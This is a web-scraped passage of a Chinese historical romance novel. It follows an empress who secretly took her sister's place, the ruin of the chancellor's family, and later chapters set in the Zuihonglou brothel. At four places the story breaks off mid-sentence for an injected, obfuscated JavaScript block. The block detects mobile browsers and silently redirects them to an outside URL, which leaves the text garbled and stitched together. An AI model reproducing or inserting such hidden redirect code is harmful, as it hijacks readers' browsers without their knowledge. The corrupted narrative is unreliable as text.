玉轩枫起初天真地以为,自家皇后只是进宫后收敛了性子,哪知,这根本不是同一个人。要不是他偶然听见了两个宫女窃窃私语“碧妃新绣的一幅锦绣玉狐屏真好看”,或许真的可以瞒过去,俩姐妹,一样的家世,一样的面容,还有整个丞相府帮忙打着掩护…… 谁不知道李家的二小姐是个女红一流的高手啊…… 玉轩枫知道自己被骗了,觉得好气又好笑。 “陛下要赌什么?臣妾,愿赌。”李碧凝终究是开口了,只是语气淡淡的,仿佛说着一些家常琐事,事情发展成这般,也在意料之中。 欺君之罪,当诛九族。 其实早在替嫁的那天晚上,李谌就想好了今天的结局,也为她找好了生路。要不然,他不会那般谨慎地将那枚免死金牌交与她。李碧凝却已经狠下了心,若是丞相府没了,自己也绝不会苟活,她要随着宠爱她的父母亲和哥哥们一同归去。 只是,为什么心里有些遗憾呢,都说一入皇门深似海。宫院高深,能让这些高墙之下的女子为之动容的,除了名利权势,万贯钱财,还有那个高高在上的男人啊! 世人都知道他权势滔天,富可敌国,却也不知道他缱绻深情,也曾为某个痴情女子心目中的不二良人。 她自幼在丞相府长大,丞相膝下诸多儿子,唯有她和碧瑶一双女儿。李谌和府里的一众夫人们自是将二位小姐视为掌上明珠,她们的日子过得,可谓是呼风得风,唤雨得雨。 可即便是要什么有什么,有些东西,也是她们羡慕不来的,比如一世良人。豪门贵族子弟的婚嫁,多数成了政治经济的筹码,本是豆蔻如花的年纪,还来不及觅寻她的如意郎君,一道圣旨,她就替姐姐,步入了这深深泥潭。 怨吗? 在嫁入皇宫以前,李碧凝曾为许多出嫁的小姐妹们绣过伴嫁品,看着她们脸上不自觉氤氲起的红晕,眉眼里都是掩不住的幸福。她也曾想过无数次,以后她会嫁给一个怎样的夫君,那人或儒雅或粗犷,或家缠万贯或位高权重,有着怎样的眉宇,怎样的轮廓…… 而今她知道了,她的如意郎君,走失在了那个风雨交加的夜,随着姐姐李碧瑶的一骑绝尘,碾入尘土。 替嫁也好,隐瞒也罢,她都认了,交付了自己所有的欢喜、所有的感情,一心一意。 认真到连自己都差点忘了,她是李碧凝,不是李碧瑶,不是玉轩枫心里最初喜欢的那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但若是你输了,你们李家欠朕的,朕要加倍要回来,哈哈哈哈哈。”玉轩枫突然转身,张狂的笑声回荡在空荡荡大殿里,听得她毛骨悚然。 “我知道你心有怨恨,可一切也是你的自作多情造成的,碧瑶的心里,从来都没有你。”她起身,看着那个高高在上的男人,被他眸间的薄凉刺得心碎。 她太了解自己的姐姐了,虽然她承认,在很多方面,姐姐都比自己优秀。 但是她也知道,姐姐的有些脾气是致命的,比如对自己太过自信,又争强好胜,又不肯低头。倘若让她嫁给一个从未谋面的男子,而且这个人她不喜欢,她是绝对会反抗的。 只是李碧凝万万没想到,姐姐这次的反抗,是一人一骑,离家出走不归。 从小到大,她的任何嚣张跋扈,都有李府替她遮挡,只是这次,没人再替她解围了,整个李府也因为她陷入绝境。 “你说什么?李碧凝你再跟朕说一遍。”他大步跨下台阶,走到她跟前,一把扼住她的脖子,掐得她有些喘不过气来。 “从来都……没……没有……有你……”仅仅六个字,她仿佛用尽了全身所剩的最后气力。 玉轩枫突然放开她,像个疯子一样笑得很癫狂,“哈哈哈哈哈,李碧凝,你给朕等着,朕赌你输!” 输吗?他哪里来的自信。李碧凝回宫的道上,一直走一直想,这要是真的输了,他真会如所言般对李家赶紧杀绝,不留情面吗? “小姐可是身子不适,奴婢让御医来给您看看吧。”君以看着李碧凝颤颤巍巍地走回紫栖阁,忙上前去搀了她一把,关怀地问道。 4. 勾结造反 李碧凝唇无血色,面浮虚汗,朝她粲然一笑:“无碍,大概是有了身孕,整个人都变得弱不禁风了。” 刚回到紫栖阁,李碧凝也并不消停,在屋子里面彳亍着,君以跟在她身后,有好几次,见她似乎想吩咐些什么,却又欲言又止。 “小姐怎么了?”君以跟着她多年,自然是了解她的,一下就看出来了她有心事。 李碧凝又是一副欲言又止的模样,最终淡淡地答了句:“哦,没事。” 君以看出了端倪,心疼她,小姐不说,她也只能跟着干着急。小姐从小都是这样,有什么事藏在掖着在心里一个人苦着,也不说与旁人听,让人替她排忧解难。 许久,李碧凝又开口问她:“君以,上回峰哥哥从江南带回来的茶叶还有吗?” “有的,小姐,怎么了?” “爹爹很是喜欢这茶,上回特地差个人给我送来,相府的估计都已经喝完了,我也不爱这些个玩意,君以你把我这边的给他送过去吧。” “小姐,这……” 李碧凝的二哥在江南当差,时常会寄些有着地方特色的物件回府,这茶虽别致,却也不至于让老爷眷念,毕竟,相府名贵的茶叶多了去了。 君以说不上哪里奇怪,就是觉得自家小姐不对劲,又像是想起什么来似的,念了句“糟了”,赶忙快马加鞭赶回相府。 - “你们都把李碧瑶跟朕弄到哪里去了?”昭若殿内,丞相李谌被传了密旨,正在和玉轩枫商议着“国事”。 玉轩枫着实好奇,自从知道李碧瑶逃婚以后,他暗中派了人手去查。李碧瑶居然不在丞相府,丞相府的“李碧瑶”是个冒牌货,这就引起了他的好奇,敢情丞相为了不想嫁女儿,把自己家的女儿藏起来了? 毫尖舔着砚台,他提笔,在面前的折子上又疏疏落落写下几划。 镂花宫灯晦暗不明地闪着,奇怪,明明今日无风。 案台前方,站着年迈的老丞相,他脸上的皱纹聚集成了纠结的弧度。 李谌昨天收到了自家女儿给他的茶叶,百思不得其解,按理说这茶叶是他让碧凝带去宫里的,也不是什么稀罕之物,为何还特地送回?可是君以坚持说,小姐今天行为举止异常,怕不是遭遇了什么不测。 后来他细想,茶同“查”,难不成是皇上有所察觉,宫里露馅了?为此,今日得了召见,他也是做好了心理准备的。 “臣……不知……” 无意带领的一支暗卫队是用来处理李府各种疑难事务的。队伍之中很多能人志士,武艺高强的,善于出谋划策的,每每出动,事无不达。 他早就派无意等人去寻自家女儿了。最初,他们四方打听,找到了李碧瑶的踪迹,追赶了她一天一夜,眼看就要把她带回去,哪知自家大小姐心一横,跳下了身后的悬崖。 此后,无意他们一直在那座山的附近搜索,却连大小姐的尸首都没找到,李碧瑶是生是死,无人得知。现在皇上问,她在哪里?这,他这个当爹的是真的不知道呀。 “你可知,欺君之罪,该如何?”烛光映着玉轩枫的脸庞,隐隐约约勾勒出俊朗的轮廓,可也是这张让人无法琢磨的脸,让老丞相手足无措。 “臣知。”李谌万万没想到,自己尽忠尽职了一辈子,最后愣是栽在了自己女儿手上。 “朕跟李碧凝打了个赌,只要她能保住肚里的孩子,朕就不动你们李家丝毫。丞相大人,你觉得这个赌约可有趣?” “臣……惶恐……”若是没有丞相家族庞大势力的庇护,没有皇权的支撑,偌大的后宫,害死一个手无缚鸡之力且身怀六甲的女人谈何容易。 很晚,李谌才心有余悸地走出玉轩枫的书房昭若殿,此时天空中挂着一轮明晃晃的月亮,上面漂浮着朵朵黑云,他摇了摇头,长吁了一声:“要变天了。” 今日一来昭若殿,本以为会有所不测,提前打点好了一切,现在看来,项上的人头是暂时保住了,可是怎么保护好自家的女儿,成了当下的难题。 当晚,念城下了一场很大的暴雨,伴着电闪雷鸣,甚是吓人。 若说宫里什么是最快的,除了邻国最近新进贡的那匹汗血宝马,流言当属一二了。 宫里的太监宫女们猜测,皇后和皇上之间定是产生了什么隔阂。从前皇上对皇后宠爱得不行,不仅刚入宫就封她为后,而且隔三差五就往紫栖阁跑,差人送一些稀罕物件,如今皇后有孕在身,皇上却置之不理,怕是失宠了吧。 宫女太监们找好了自家主子,纷纷站好了队,甚至不少嫔妃蠢蠢欲动,想在皇后身上动些手脚,却因丞相府的威严和势力多了几分忌惮。 终于,噩耗传来…… 这天,宫人直奔昭若殿,匆匆来报:“皇上不好啦,皇后娘娘小产了。” 听到这句话的时候,玉轩枫正在面前的奏折上豪迈地划下一个“准”字,也只是头也不抬淡淡地答了一句:“哦。” 距上回的赌约,已经过去五个月了,还有两个月孩子就该出世了。终于,有人动手了吗? 整个紫栖宫的宫女奴才们跪了一地,大气都不敢出一声。碧凝万万没想到,君以近日身体不适,回家歇息了,丞相大人亲自给她换了个贴身丫鬟。 淑妃买通了那个丫鬟,在她的茶点和饭菜里分别加入了两味相互作用的药物。若单服用其中一味,并无大碍,可她同服了两味,没出一会儿,她腹痛如刀绞,脚下血流如注。 她知道,从那一刻起,她就输了,跌入了万劫不复之地。 “李碧凝啊李碧凝,你连个孩子都保不住,你拿什么跟她比啊。”来人一袭黄袍,细绣的龙纹生生地扎疼了她的眼。 “生儿……生儿……”鲜血早已染红了她身下的厚衾,她眼神空洞,唇色惨白,面上也没半点血色,只是愣愣地望着床顶的纱帐,如同皮影戏中任人摆弄的玩偶,嘴里一遍一遍地重复着这几个字。 玉轩枫曾给过她些许美好的幻想,那是还不知道她的真实身份前。只是不知道玉轩枫还记得不,曾经他说,要是以后,生了个女儿,叫浮生,浮世三千,生如夏花;要是生个儿子,叫华生,富贵荣华过,留得身后名。而今,什么浮生华生,还有丞相府的名声,都成了泡影。 旁边的老太监见风使舵,立马就换了副嘴脸:“哟,自己能活下来已经是大幸,还妄想能为皇上诞下龙子,简直是痴心妄想。” 罢了,还不忘嗤一声,那声落入李碧凝的耳朵里,显得极为讽刺。 玉轩枫眼带寒冰,薄唇紧抿,并不说话,只是拂袖而去,余下一个颀长的背影,在漫天凋零纷飞的桃花里,显得落寞又孤单。不知怎的,蓦地心空了,是为什么呢? 难过吗?他也不知道。他那么倔强,容不下任何人的欺骗,偏偏这个女人,触及到了他的底线。 他蓦地想起来宫中一向不问政事的老王爷玉龙吟那日来了兴致,非要拉着皇子们同饮,玉龙吟还对他说:“等你坐上了皇上的位置,寡人寡人,孤家寡人。你会发现,纵使坐拥繁华的万里河山,纵使群臣百姓俯首称臣,其实你真的什么都没有。” 他当时只当是醉话,一笑而过。 呵,孤家寡人,如今看来,朕真的是一无所有,皇叔你说对了。 次日,来自昭若殿的圣旨惊煞世人,圣旨上只有简短的五个字—— 皇后无德,黜。 李碧凝从那以后便被贬入了离执政殿最远的未名宫。 执政殿乃天子朝臣所在,是玉轩枫和群臣们商议国事的地方,玉轩枫每天都会去,有时候一呆就是一整天。远离了执政殿就意味着,只要玉轩枫不主动去找她,她就永无翻身之日。 宫里有传言说,碧妃被打入冷宫之后,整个人就疯了,每天疯言疯语,渐渐地,除了日常照顾她饮食起居的几个丫鬟,没人再去关心她的存在。只有李碧凝知道,这静谧的未名宫,花开花谢,叶落无声,让她和皇宫内的深墙高院,再无半点瓜葛。 自此,玉轩枫后宫三千,却再无后,甚至,连子嗣都没有。 同年,丞相李谌勾结小人,意图谋反,满门被抄,诛连九族,李家上上下下五百二十一口人,死于非命。 入秋了,满庭的落叶无人打扫,萧瑟至极,李碧凝也懒得理会,只是像入了魔似的,怔怔念着:“没了……都没了……全部都没了……一切都没了……” 不过半年,曾经风光一时的丞相府,彻底覆灭,就在刚刚,有人告诉她,她远在塞外的大哥李连城,被圣上赐了一杯毒酒。 彼时李碧凝正在院落里荡着秋千,听到这消息时,轻哼了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是她在世间唯一的牵挂,为了孩子,她不能死。她发狂似地跑进屋,翻箱倒柜,寻找着那枚早已被她丢到九霄云外的免死金牌。有了它,她不会死的,她要活着,等有一天走出这未名宫,她就能看看摸摸自家的孩子,这么久过去了,还不知道她的小崽子是叫浮生还是叫华生呢。 最后,免死金牌是找到了,可是玉轩枫没有来,赐死的圣旨也没有来。李碧凝抱着这最后的一丝丝的牵挂,日日在未名宫做着女红。 一时间,丞相家族的死成了市坊间百姓们饭后茶余的话题。 李碧凝没有死,而是被贬为妃,大家纷纷猜测,这到底是皇上对碧妃留有私情,还是因为其他。 只有李碧凝知道,他不过是借着一张和自己一样的脸,睹物思人罢了。 坊间,悦来酒肆。 “你们说,这次丞相家族被灭满门,真的是因为勾结造反?”说这话的是个满脸络腮的彪形大汉。 “我看不见得,其中定是有什么隐情。丞相家族的忠心是我们大家可鉴的,丞相掌管上百文官,李连城手握重兵,据说可以匹敌玉宵国的半壁江山。这文武双全的,要篡取皇位,岂不是轻而易举,只需要他们里应外合,攻其不意,哪里用得着借外人的手。”旁边坐了个驼背老者,发须尽白,眼中却闪着矍铄的光芒。 “嗯!有道理。”那彪形大汉附和了一句。 “那边的两位,我劝你们早点离开吧,大将军没了,玉宵国,要亡啦。”隔壁桌子坐了个文弱书生模样的人,听到他们的长侃,皱了皱眉,插了一句。 这话说得也不是完全没有道理,因为被赐死的五百二十一人中,包括还有李碧凝的大哥,骁勇善战,让敌人闻风丧胆镇国大将军——李连城。 李连城作为李家长子,一出生起就背负起了保家卫国的重担,相传此人六岁熟读兵法,十三岁上阵杀敌,十六岁便手握玉霄国十万大军。传言可能有虚幻夸大的成分,但不可否认的是,这个李连城,只一个人,便可抵千军万马。 一语成谶。 异族听闻李连城身陨的消息,无不窃喜,一时间,玉宵国成为了案板上的鱼肉,刀俎竟相争之。 战火四起,民不聊生。 短短的半年时间,玉宵国由一个泱泱大国,变成了一个边陲小国。统治者甚觉惶恐,兴科举,贴告示,广纳天下贤能之才。 在此后的某年里,一名男子望向市集布告上那枚鲜红的玺印,眸光中带有欣喜与激动,心中一个想法悄然萌生。 5. 盛世风流 (十三年后) 天元二百二十五年,秋,玉宵国,醉红楼。 沈笑又找我喝酒,可我不似他那般好酒量,压根不敢贪杯,怕醉。 “其实吧,这人活一世,为的不过是一个风流快活,你说是吧?” 沈笑美眸中含着笑,一双狭长的桃花眼里婉转出迷离,颇有意味地盯着我。那双眸,像极了万丈深渊,让人一不小心就坠入其中,虽暗含着无限的危险,却又让人沉醉其中,真是妖孽至极。 我别过头,尽量不看他的眼睛,又把目光移到他额前的几缕碎发上。 他似说着醉话,但我知道这厮酒量好,肯定没醉,可我却自始自终都捉摸不透他——看似纨绔潇洒、风流不羁,却隐隐约约让人觉得,他有心事。 “呵。”我轻吐出一句,这就是他天天出现在醉红楼的理由? 扯吧!反正我是不信的。众人都说他风流纨绔,可我知道他是个在大事上坚守原则的人,阿正至极。我和他共事多年,这一点,我得以亲身体会。这么些年,他教我为人处世,教我习武练剑,算得上我的半个师父,可他同我,从来都是以兄弟相称。 “真羡慕你。”他一只手搭在了我的肩上,整个人接连着靠过来,身子骨软得像一摊烂泥般。 我微微皱了皱眉,挪开了他顺手搭在我身上的爪子,把他往旁边推了推:“羡慕我?” 天知道我有多羡慕他,羡慕他的潇洒、他的自由、他的每个举手投足,羡慕成一种信仰。 可偏偏事与愿违,我成为不了他那样的纨绔子弟,谁让我是念城江家的公子呢! 谁不知道我有个在朝为官的老爹,官居二品,位高权重,人人都给他扣上“好官”的帽子,要不是私下里瞒着他,我连踏进这个醉红楼都是奢望!还好我在这也不做什么出格的事情,不然传到他的耳朵里,指不定又是一顿毒打。 一阵苦涩漫过心头,我不再理沈笑,顾自起身,想出去透透气。 正是晚秋,昨日刚下了一场大雨,气温骤降,今日的醉红楼相对于以往,酒客稀薄了不少,略显得凄凉。 琴音却依旧,绵绵绕梁,余音不绝。 曲无意墨发缁衣,梳了个简单利落的扇髻,坐在屋子正中央特制的一方高台上,正低眉信手絮絮拨弄着面前的琴弦,也不搭理四方来人。 曲无意是醉红楼的琴师。 记忆中自打我进醉红楼起,她就一直在那里,也不说话,也不笑,像一尊受人供奉靠香火为生的菩萨,只有隐约的乐声,能彰显她还没作古。 按理说,来醉红楼这种风月场所的人,不是博一时的名气,就是为了腰缠万贯,可曲无意却极力把自己埋在人群中,存在感低得就像醉红楼门口的那棵歪脖子树一般,她到底是为了什么一直待在醉红楼的呢? 我搞不懂,索性不去想这些乱七八糟的事情。 这醉红楼稀奇古怪的东西多了去了,仔细看来,大概这个曲无意还算是个挺正常的人,一来她没做什么奇怪的举动,没常拉着哪个世家权贵公子什么的吹吹枕边风,二来她身上也没什么命案。 楼里坐了疏疏十几个酒客,大厅的角落里有两个人在议论着些什么,声音不大不小,二楼拐角的我正好可以听见。 “听说朝中最近又不太平了……”其中一个男子年纪四十左右,着了一身冰蓝长衫,头发以玉簪束起,俨然一副富贵之气。 “可不是嘛,听闻左相拉拢了一批势力,想要……”另一个男子书生模样,眉目清秀,他刻意降低了音量,后面的半句是什么我没听见,真是谨慎至极。 周遭的酒客玩闹嬉笑,猜拳比划,根本没人在意他们说了什么。 醉红楼是红尘之地,却也是自由之地。 你可以来这里喝茶饮酒,赏舞析曲,亦可以谈论家国政史,也不必担心会遭受什么文字狱之类的残害。因此醉红楼是风流之地,亦是不少文人墨客的宿地。 可能是因为有个当官的爹,我也有个小小的六品官职谋生,身处政局其中,我竟对二人的话有些在意,竖耳仔细倾听起来。 “唉,怕到时候又是一场腥风血雨,你还记得前丞相李谌?作孽啊作孽……”那个蓝衫男子摇了摇头,闷了大口酒。 那书生闻言,紧接着感慨道:“可不是嘛,这一晃,都已经过去十三年啦……” 是啊,日子一晃都这么久了,这些旧账还老是被翻起,毕竟有些痕迹镌在岁月里,成为了刻骨铭心的印记,每每忆起,就是伤痛。 我时常听人提起那段过往,只因,那场浩劫在玉宵国是史无前例的。 十三年前,丞相李谌意欲谋反,皇帝玉轩枫一怒之下,抄了李家满门。 奈何这李家树大根深,除去丞相本人能谋善略,丞相长子李连城也是骁勇善战,其他在朝上身居要职的人不计其数。文臣武将,玉宵国一下子失去了这些能人们,国力大减,外邦瞅见时机,举兵相对,一时玉宵国内外烽烟四起,生灵涂炭,不少人深受其害。 我也因其中的一场战乱变成了孤儿,被好心人收养在了一两帮。 一两帮之所以叫“一两帮”,是因为“一两”音通“衣粮”,有衣有粮,就是我们这里所有人的期盼。再者,一文钱就可以买上一个馒头,一两银子对我们而言,也是笔不小的数目。若是有人收到了一两银子的施舍,就可以保证一个月吃好喝好不饿肚子。 帮主告诉我,帮里有个乞丐在外面乞讨,途中遇到了一个妇人,那个妇人已经没了气息,手中却还紧紧抱着一个孩童,那个孩童便是我。 小小的我还什么都不知道,只是朝那个乞丐咯咯笑着。虽然他也是艰难度日,可他终究是没忍心把我抛弃,将我带回了帮里,他还拍着胸脯保证我的到来不会给大家增添负担,说:“不就是多了张吃饭的嘴嘛,一个小孩子,也吃不了多少,大不了,把我吃的分他一半。” 这些事是后来帮主告诉我的,当我真正开始记事时,他已因一场瘟疫溘然长逝,我甚至都不知道他的大名,只知道大家都叫我的这位恩人石头。 其实我们帮里大部分人都没有真正意义上的名字,比如说帮主,大家都叫他帮主。其他的人,像叫什么狗娃啊、小草啊、小花啊、大牛的比比皆是。毕竟在穷人们的观念里,有着一个想法,名字越贱,越好养。 在一两帮呆久了我才知道,原来所谓丐帮,真的没有打狗棍法和降龙十八掌。有的不过是一群相互扶持的穷苦人们,共享着彼此乞讨来的钱物,艰难度日罢了。 尔后玉宵国的战火一直蔓延到全国范围内。目之所及,尸横遍野,饿殍满地,瘟疫肆行,到处都是逃难的人们。随着玉宵国国力逐渐衰落,一两帮势力逐渐扩大,最后居然到了帝都念城。 天子脚下,亦无安宁之地,朝廷急得如同热锅上的蚂蚁,想方设法安定国民:广征天下能人异士,轻苛税,免刑罚,开仓放粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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例如今天那个谁请城里最好的裁缝定制了一件新衣,在醉红楼上下显摆了一圈后,没出三天,原本珍稀的款式成了醉红楼的时尚——这里的姑娘们大多不缺钱,有人愿以千金博佳人笑,有人愿以万两换与佳人共枕眠,花钱这种事情,不过是一个愿打,一个愿挨罢了。 哪位姑娘最美?若非要认真回答这个问题的话,我只能说,醉红楼的姑娘们各有特色,并且我相信,她们中的大多数身手不凡。 有人说醉红楼之所以长盛不衰,是因为背后有一个神秘的杀手组织,这个杀手组织的主人一直是个谜团。但凡在醉红楼寻衅滋事的,都没有好下场。每每出了命案,尽管朝廷会有大批人马来查,但结果总是石沉大海——这是个连朝廷都忌惮几分的组织。 你且看那个现在正在前厅跳舞的叫云深的姑娘,身段婀娜,彩袖飘然若飞,但凡练过几招的人都可以看出她的舞姿中蕴含着刚气,一招一式,中规中矩,很明显是个练家子。 如今的头牌唤作青羽,是个水滴滴的小姑娘,眸子里都透着灵光。可是这个星期,有两个男人相继死在了她的房中,不知所以…… 醉红楼最聪明的姑娘当属玲珑了,人如其名,生得一颗七窍玲珑心。能同男人们谈家国兵法,能同女人们谈胭脂水粉,琴棋书画样样不差,是个不可多得的才女。 醉红楼的老鸨姓陈,怕是比我爹年纪都大,却也是半老徐娘,风韵犹存。别看她不精通武艺,却是把醉红楼打理得有条不紊。除了忽悠男人们的本事了得,醉红楼的姑娘们也是被治得服服帖帖的。 6. 大猪蹄子 醉红楼的姑娘们都很美,美得难分高下的那种。最美?可能是情人眼里出西施,个人有个人看法吧。 最神秘倒是有一个,就是月柒的娘,大家都唤她为“月娘”。 月娘是十几年前的醉红楼头牌,据说是叫林什么月还是林月什么的,就因为名字里面含了个“月”字,所以花名叫做“月娘”。 月娘早已身处风尘之外,却依然带着她的女儿月柒久居醉红楼。醉红楼的客房价格自是比寻常客栈贵了很多,可是月娘一住就是十几年,私底下也没见月娘和林妈妈交情有多好,可是月娘一介弱女子哪来的这么多银两呢? 众人不解,于是坊间就有了诸多的猜测…… 有人说她是武林某位大侠的遗孤,这位大侠和醉红楼的主人私交甚好,于是便有了托孤的说法;还有人说月娘本身隶属于这个组织,是一个冷血的杀手;更甚者说,月娘就是醉红楼主,毕竟,连陈妈妈都让她三分;也有人说,楼主和月娘是情人,他们有个孩子叫月柒,可是楼主最后弃了月娘,月娘心灰意冷,堕入醉红楼…… 江湖传言罢了,不可尽信。只有见过她的人才知道,月娘大概是整个醉红楼最弱的女子了,连月柒都比她凌厉,至于那些情人啊托孤啊之类的说法,纯属无稽之谈。 坊间还传闻醉红楼有三奇:一奇为忘莲的琴,这把琴能奏出不同凡响的曲谣,但此琴只能耳闻不能眼观,因为见过这把琴的人,除了忘莲,都死了;二奇为月娘和月柒,此二人不知从哪里来,却能在醉红楼占有一席之地;这第三奇嘛,就是我江子执了,寻常人来醉红楼,不是与这里的姑娘们寻欢作乐,就是与他们吟诗作对,可是我,虽然常来,却也只是饮饮酒、喝喝茶罢了。 忘莲的琴我是听过的,月柒和月娘的真实身份也让我好奇不已,但我和月柒保留着彼此的一些空间,就没有探究太多。 其实我不能跟她们相提并论的,她们是真的奇女子,而我常在醉红楼,偏偏只是因为执念。 “阿执哥哥,你看什么呢?眼睛都贴到人家云姑娘身上去了……”月柒声音有些娇嗔,把我从回忆中拉回现实。 她也不知吃的哪门子的醋,“啊?我不是,我没有……”我想反驳她,话到嘴边突然就噎住了。 云姑娘,哼,现在一口一个云姑娘倒是叫着亲热,指不定哪天和人家动起手脚来,吃亏的还不知道是谁呢。 女孩子之间的争风吃醋、勾心斗角才最为致命,文才武略,月柒显然都比不过云深。 “那我刚问你的问题呢?”画风突转,月柒那张粉嫩的小脸突然布满严肃,好像在急于寻求一个答案。 “啊?什么问题?”光想着云深的武功,我一时没恍过神来。 月柒整个人气鼓鼓的,一张包子脸显得尤其可爱,云鬓上的钗子银光闪闪的。 “啊,我想起来了,我觉得吧,醉红楼的姑娘们都很美,美得各有特色,我先给你说说玲珑吧……” 哪知月柒理都不理我,顾自走进了房间里。 唉,这丫头!要不怎么说女人心海底针呢,她让我回答这个问题是为了说明什么? 醉红楼的姑娘们?月柒应该不在这个范围之内吧。月柒是醉红楼的乐师,未经风尘,虽只有十二岁,却在月夫人的教导下,深谙音律。 寻日里,月柒会给醉红楼的姑娘们谱谱曲,写写词啊什么的,也有些浅薄的收入。待她曲成,便拉我一同去欣赏,在她的熏陶下,我亦略懂些音律。 一来二往,我也成了醉红楼的常客,还在她的帮助下,认识了这里的不少姑娘。 我步随她进了屋,她们住的这间屋子挺大的,两边是内室,月夫人一间,小柒一间。中间是堂屋,里面摆了一张软塌和一方檀木珍宝架,架上立着些许的瓷器,屋内壁上挂了些山水画,没有了寻常青楼闺阁的艳丽堂皇,却多了几分家的温馨。月柒在屋内熏了些安神助眠的香料,味道淡淡的,莫名有些好闻。 寻常人家女子的闺房是不能擅入的,但醉红楼相对而言比较开放,月柒闲来无事,也会拉我来她们房间小坐。 只见她从书架上拿出一个精致的小盒子,那里面装的是那棵歪脖子树的叶子。 月柒说,别看那棵歪脖子树其貌不扬,但它的叶子造型各异,等风干以后一定很好看。于是几日前,我们便时常蹲在树下捡叶子,月柒将那些叶子仔细筛选了一番,撇去那些虫蛀残缺的部分。到如今,已经留了满满一盒子枯叶。 时光有时候流逝得毫无痕迹,记忆也会黯淡模糊,所以我们才需要用一些物证去铭记一些东西,我们给它们起了个好听的名字,叫纪念品。 年年岁岁花相似,岁岁年年人不同,只是明年今日,同你拾花捡叶的人是否还一样? 没有人敢保证。 所以我们与其患得患失,不如珍惜眼前人和事,比如现在。 月柒小心翼翼地将那些叶子从盒里倒出来,一一在圆桌上铺开,逐个查看。 叶片上那些细腻的纹路,刻下岁月的沧桑,寻常物件,也只有禁得起时光久酿,才会显得浓墨重彩。 “昨天,又有一个人死在了青羽的房里,嘻嘻嘻……”月柒高举起一片叶子,透过窗子的光亮,仔细端详着,嘴角的笑意挥之不去。 我素来与这青羽没什么交集,偶尔的客套也仅限于擦肩而过前的一颦一笑,算是相识的佐证吧。 “又有人死了,你是为什么而开心?”她这突然的态度让我觉得有些莫名其妙。 她这是,唯恐天下不乱的吗?加上昨天的那个人,青羽这个月已经摊上三桩命案了。 哪知她漫不经心地接了一句:“反正死的又不是我。” 我有时候相信了,醉红楼的背后真的有一股很强大的势力,像一只无形的手,牢牢地摆控着这偌大的天地棋局。无论外界有多少个人死在了醉红楼,醉红楼却依旧风雨屹立,长存不倒,里面的人们也不痛不痒地将诸事以一副事不关己的姿态高高挂起,尔后各自欢愉。 “这……”我一时不知道这话怎么接下去,只是突然想起来玲珑“少插手醉红楼里的事情”的警告,告诉月柒:“你少管些乱七八糟的事情,尤其是与你无关的。” 玲珑寻日里和我联系并不多,我们间却带着一股子浑然天成的自来熟气息,除了月柒,我便只跟她有三言两语的交流。 “我娘说了,男人都是大猪蹄子。”月柒冷不丁地冒出一句。 “啊?”这话题转得有些快啊,让我猝不及防,青羽身上又出了命案,难道是大猪蹄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244462|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子造成的? 还有,大猪蹄子,这是什么鬼?! “这是说,男人们,就像猪蹄一样,吉祥且实用吗?你看这猪蹄啊,寓意金榜题名,可烤可炖可红烧,食之可以饱腹吗?”我只能这般猜想。 这个比喻,也有点有趣。在寻常人家里,男子是主要劳动力,考取功名的也是他们,“朱题”说的是科举考试中榜单上朱笔写下的字,谐音“猪蹄”,这么看来,用猪蹄概括男人们,真的是形象又生动。 仔细一想,月夫人的这个比喻真真切切是极好的。 嗯!我们家月柒说的什么都是对的。 “我娘说了,大猪蹄子的意思就是‘坏人’。”月柒白了我一眼,又将桌上的叶子一一捡回了小盒子里。 用月柒的话说,男人都是大猪蹄子。 包括我。 我突然醒悟过来,这是在因为刚刚的事怪我?就因为我看云深跳舞,就因为我不允许她八卦青羽? “哦,那你说说,你都遇见了哪些坏人……”我可从来不觉得自己有多坏呀,打趣问道。 “我娘还说了,你们男人都是坏人。不信你看这醉红楼里,多少人流连温柔乡,醉生梦死,然而他们家中还有妻妾,在他们心里,那些怕都已是糟糠之妻了吧。”月柒一把关上了她的小盒子,有些忿忿不平地说道。 温柔乡……糟糠之妻……她一个女孩子天天想着这些东西?我觉得有点尴尬。 “你能不能一口一个‘我娘说我娘说’的……”我也不知道该如何回应她这些奇奇怪怪的想法,试图扭转话题。 “我爹说?我也想有个爹啊,哪怕只是跟他说说话,我觉得就很好。从小就看到别人家的孩子有娘有爹,只有我有娘没有爹。自我出生起,我就没有见过他。我爹什么时候能说什么呀?我娘对他是闭口不提,还告诉我就当是他已经死了。 可我知道,我娘之所以会这么说,是因为他一定还活在这个世界上,但他早就抛弃了我娘,就跟醉红楼里的那些公子哥们一样!”泪水在她的眼睛里打着转转,却因为倔强迟迟不肯落下来。 “对不起,我不是故意的。”我意识到自己说错了话,有些心虚,伸出手,轻轻地摸了摸她的头。 她的委屈,我是明白的。 自打我踏进醉红楼以后,我从来没有见过月柒的爹,月夫人的丈夫。我总觉得,这大概对于她们来说是一种伤痛,也总是刻意回避着这个问题。 同样地,很久之前,月柒也曾问过我:“怎么老听你提起你爹呀,你娘呢?” “我没有见过我的娘。”我说的是实话,语气也平淡,一个打小就辗转在乞丐堆里没见过父母的孩子,能有多少对他们的留念? 